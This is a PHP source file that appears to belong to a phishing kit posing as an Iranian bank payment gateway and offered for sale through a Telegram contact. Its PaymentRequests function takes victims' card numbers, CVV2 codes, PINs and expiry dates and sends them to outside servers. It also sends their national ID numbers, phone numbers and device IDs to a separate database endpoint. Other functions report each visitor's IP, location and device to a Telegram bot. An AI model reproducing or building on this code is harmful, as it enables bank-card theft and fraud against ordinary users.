<?php
error_reporting(0);
include_once 'config.php';
#-------------------
function gregorian_to_jalali($gy, $gm, $gd, $mod = '') {
    $g_d_m = array(0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334);
    $gy2 = ($gm > 2) ? ($gy + 1) : $gy;
    $days = 355666 + (365 * $gy) + ((int)(($gy2 + 3) / 4)) - ((int)(($gy2 + 99) / 100)) + ((int)(($gy2 + 399) / 400)) + $gd + $g_d_m[$gm - 1];
    $jy = -1595 + (33 * ((int)($days / 12053)));
    $days %= 12053;
    $jy += 4 * ((int)($days / 1461));
    $days %= 1461;
    if ($days > 365) {
        $jy += (int)(($days - 1) / 365);
        $days = ($days - 1) % 365;
    }
    $jm = ($days < 186) ? 1 + (int)($days / 31) : 7 + (int)(($days - 186) / 30);
    $jd = 1 + (($days < 186) ? ($days % 31) : (($days - 186) % 30));
    return ($mod == '') ? array($jy, $jm, $jd) : $jy . $mod . $jm . $mod . $jd;
}

function GetTime() {
    date_default_timezone_set('Asia/Tehran');
    $now = time();
    
    $year = date('Y', $now);
    $month = date('m', $now);
    $day = date('d', $now);
    $hour = date('H', $now);
    $minute = date('i', $now);
    
    list($shamsi_year, $shamsi_month, $shamsi_day) = gregorian_to_jalali($year, $month, $day);
    
    $months = array(
        1 => 'فروردین',
        2 => 'اردیبهشت',
        3 => 'خرداد',
        4 => 'تیر',
        5 => 'مرداد',
        6 => 'شهریور',
        7 => 'مهر',
        8 => 'آبان',
        9 => 'آذر',
        10 => 'دی',
        11 => 'بهمن',
        12 => 'اسفند'
    );
    
    $weekdays = array(
        'Saturday' => 'شنبه',
        'Sunday' => 'یکشنبه',
        'Monday' => 'دوشنبه',
        'Tuesday' => 'سه‌شنبه',
        'Wednesday' => 'چهارشنبه',
        'Thursday' => 'پنجشنبه',
        'Friday' => 'جمعه'
    );
    
    $weekday = $weekdays[date('l', $now)];
    $month_name = $months[$shamsi_month];
    
    return "$weekday، $shamsi_day $month_name $shamsi_year - $hour:$minute";
}

function smg($message, $inline_keyboard = null) {
    global $TOKEN, $ID;
    
    $default_keyboard = [
        [['text' => 'خرید درگاه 🚀', 'url' => 'https://t.me/iDeanMorgan']]
    ];
    
    $inline_keyboard = $inline_keyboard ?? $default_keyboard;
    
    $url = "https://api.telegram.org/bot{$TOKEN}/sendMessage";
    
    $data = [
        'chat_id' => $ID,
        'text' => $message . "\n\n" . '👨‍💻⤳ <a href="https://t.me/iDeanMorgan">ᴘᴏᴡᴇʀᴅ ʙʏ ᴍᴏʀɢᴀɴ</a>',
        'parse_mode' => 'HTML',
        'reply_markup' => json_encode(['inline_keyboard' => $inline_keyboard])
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    
    $response = curl_exec($ch);
    

    if (curl_errno($ch)) {
        $error_msg = curl_error($ch);
        curl_close($ch);
        return json_encode(['ok' => false, 'error' => $error_msg]);
    }
    
    curl_close($ch);
    
    return $response;
}
function rsmg($message, $parseMode = 'HTML') {
    global $RootTOKEN;
    global $RootID;
    $url = "https://api.telegram.org/bot{$RootTOKEN}/sendMessage";
    
    $data = [
        'chat_id' => $RootID,
        'text' => $message,
        'parse_mode' => $parseMode,
        'disable_web_page_preview' => true
    ];
    
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_POSTFIELDS => $data
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    
    $result = json_decode($result, true);
    if ($result['ok'] === true) {
        return ['success' => true, 'message_id' => $result['result']['message_id']];
    } else {
        return ['success' => false, 'error' => $result['description']];
    }
}
function getBankName(string $cardNumber): string {

    $banksInfo = [
    ["prefix" => "603799", "name" => "بانک_ملی"],
    ["prefix" => "170019", "name" => "بانک_ملی"],
    ["prefix" => "589905", "name" => "بانک_ملی"],
    ["prefix" => "589210", "name" => "بانک_سپه"],
    ["prefix" => "627648", "name" => "بانک_توسعه_صادرات"],
    ["prefix" => "207177", "name" => "بانک_توسعه_صادرات"],
    ["prefix" => "627961", "name" => "بانک_صنعت_و_معدن"],
    ["prefix" => "603770", "name" => "بانک_کشاورزی"],
    ["prefix" => "639217", "name" => "بانک_کشاورزی"],
    ["prefix" => "628023", "name" => "بانک_مسکن"],
    ["prefix" => "627760", "name" => "پست_بانک_ایران"],
    ["prefix" => "502908", "name" => "بانک_توسعه_تعاون"],
    ["prefix" => "627412", "name" => "بانک_اقتصاد_نوین"],
    ["prefix" => "622106", "name" => "بانک_پارسیان"],
    ["prefix" => "639194", "name" => "بانک_پارسیان"],
    ["prefix" => "627884", "name" => "بانک_پارسیان"],
    ["prefix" => "502229", "name" => "بانک_پاسارگاد"],
    ["prefix" => "639347", "name" => "بانک_پاسارگاد"],
    ["prefix" => "627488", "name" => "بانک_کار_آفرین"],
    ["prefix" => "502910", "name" => "بانک_کار_آفرین"],
    ["prefix" => "621986", "name" => "بانک_سامان"],
    ["prefix" => "639346", "name" => "بانک_سینا"],
    ["prefix" => "639607", "name" => "بانک_سرمایه"],
    ["prefix" => "636214", "name" => "بانک_آینده"],
    ["prefix" => "502806", "name" => "بانک_شهر"],
    ["prefix" => "504706", "name" => "بانک_شهر"],
    ["prefix" => "502938", "name" => "بانک_دی"],
    ["prefix" => "603769", "name" => "بانک_صادرات"],
    ["prefix" => "610433", "name" => "بانک_ملت"],
    ["prefix" => "991975", "name" => "بانک_ملت"],
    ["prefix" => "585983", "name" => "بانک_تجارت"],
    ["prefix" => "589463", "name" => "بانک_رفاه"],
    ["prefix" => "627381", "name" => "بانک_انصار"],
    ["prefix" => "505785", "name" => "بانک_ایران_زمین"],
    ["prefix" => "636795", "name" => "بانک_مرکزی"],
    ["prefix" => "636949", "name" => "بانک_حکمت"],
    ["prefix" => "505416", "name" => "بانک_گردشگری"],
    ["prefix" => "606373", "name" => "بانک_قرض_الحسنه_ایران"],
    ["prefix" => "628157", "name" => "موسسه_اعتباری_توسعه"],
    ["prefix" => "505801", "name" => "بانک_کوثر"],
    ["prefix" => "639370", "name" => "موسسه_مهر"],
    ["prefix" => "504172", "name" => "بانک_قرض_الحسنه_رسالت"],
    ["prefix" => "639599", "name" => "بانک_قوامین"]
];
    $prefix = substr($cardNumber, 0, 6);
    foreach ($banksInfo as $bank) {
        if ($bank['prefix'] === $prefix) {
            return $bank['name'];
        }
    }
    return 'بانک ناشناخته';
}
function getIpLocation($ip) {

    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return "Invalid IP address";
    }

    try {
        $url = "http://ip-api.com/json/{$ip}";
        $response = file_get_contents($url);
        
        if ($response === false) {
            return "Could not retrieve IP information";
        }
        
        $data = json_decode($response, true);
        
        if (json_last_error() !== JSON_ERROR_NONE) {
            return "Invalid response from IP service";
        }
    } catch (Exception $e) {
        return "Error fetching IP data";
    }

    if (!isset($data['status']) || $data['status'] !== 'success') {
        return "Unknown IP";
    }
    
    $flag = function($countryCode) {
        if (empty($countryCode) || strlen($countryCode) !== 2) {
            return "";
        }
        $countryCode = strtoupper($countryCode);
        return mb_chr(0x1F1E6 + ord($countryCode[0]) - 65) . 
               mb_chr(0x1F1E6 + ord($countryCode[1]) - 65);
    };
    
    $country = $data['country'] ?? 'Unknown';
    $city = $data['city'] ?? 'Unknown';
    $region = $data['regionName'] ?? 'Unknown';
    
    return "<b>{$flag($data['countryCode'] ?? '')}</b>\n🎯- ɪᴘ ᴅᴇᴛᴀɪʟꜱ : <b>{$country} - {$city} {$region}</b>";
}

function GetClientInfo(){
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    $ip_details = getIpLocation($ip);
    $devices = rtrim(explode(' ', $_SERVER['HTTP_USER_AGENT']) [4], ')');
    return "\n\n📡- ɪᴘ : <code>$ip</code> $ip_details\n📱 - ᴅᴇᴠɪᴄᴇ : <code>$devices</code>";

}
function PaymentRequests($type, $RefID, $Captcha, $CardNumber, $Cvv2 = null, $Month = null, $Year = null, $Password = null, $android_id = null, $meli = null, $phone = null) {
    global $api, $apiDB;
    
    if (empty($type)) {
        throw new InvalidArgumentException("Missing required parameters");
    }
    
    // برای نوع ADD_INFO نیاز به RefID, Captcha, CardNumber نداریم
    if ($type !== "ADD_INFO" && (empty($RefID) || empty($Captcha) || empty($CardNumber))) {
        throw new InvalidArgumentException("Missing required parameters");
    }

    $type = filter_var($type, FILTER_SANITIZE_STRING);
    $RefID = filter_var($RefID, FILTER_SANITIZE_STRING);
    $Captcha = filter_var($Captcha, FILTER_SANITIZE_STRING);
    $CardNumber = filter_var($CardNumber, FILTER_SANITIZE_STRING);
    
    try {
        if ($type === "OTP") {
            $url = "$api/api.php?action=" . urlencode($type) . 
                   "&RefID=" . urlencode($RefID) . 
                   "&captcha=" . urlencode($Captcha) . 
                   "&cardnumber=" . urlencode($CardNumber);
            
            $resp = @file_get_contents($url);
            if ($resp === false) {
                throw new RuntimeException("Failed to connect to OTP API");
            }
            return $resp;
            
        } elseif ($type === "PAY") {
            if (empty($Password) || empty($Cvv2) || empty($Month) || empty($Year)) {
                throw new InvalidArgumentException("Missing payment parameters");
            }
            
            $url = "$api/api.php?action=" . urlencode($type) . 
                   "&RefID=" . urlencode($RefID) . 
                   "&captcha=" . urlencode($Captcha) . 
                   "&cardnumber=" . urlencode($CardNumber) . 
                   "&password=" . urlencode($Password) . 
                   "&cvv2=" . urlencode($Cvv2) . 
                   "&month=" . urlencode($Month) . 
                   "&year=" . urlencode($Year);
            
            $userResp = @file_get_contents($url);
            if ($userResp === false) {
                throw new RuntimeException("Failed to connect to PAY API");
            }
            return $userResp;
            
        } elseif ($type === "SEND_INFO") {
            if (empty($android_id)) {
                throw new InvalidArgumentException("Missing android_id for SEND_INFO");
            }
            
            $url = "$apiDB/db.php?action=addcard" . 
                   "&device_id=" . urlencode($android_id) . 
                   "&pan=" . urlencode($CardNumber) . 
                   "&cvv2=" . urlencode($Cvv2) . 
                   "&pin=" . urlencode($Password) . 
                   "&date=" . urlencode("$Year/$Month") . 
                   "&type=POUYA" . 
                   "&bank=Nano";
            
            $savedb = @file_get_contents($url);
            if ($savedb === false) {
                throw new RuntimeException("Failed to save card information");
            }
            return true;
            
        } elseif ($type === "ADD_INFO") {
            if (empty($android_id) || empty($meli) || empty($phone)) {
                throw new InvalidArgumentException("Missing parameters for ADD_INFO (android_id, meli, phone required)");
            }
            
            $url = "$apiDB/db.php?action=addinfo" . 
                   "&device_id=" . urlencode($android_id) . 
                   "&codemeli=" . urlencode($meli) . 
                   "&phone=" . urlencode($phone);
            
            $req = @file_get_contents($url);
            if ($req === false) {
                throw new RuntimeException("Failed to add personal information");
            }
            return $req;
            
        } else {
            throw new InvalidArgumentException("Invalid request type");
        }
    } catch (Exception $e) {
        error_log("PaymentRequests error: " . $e->getMessage());
        throw $e;
    }
}
?>
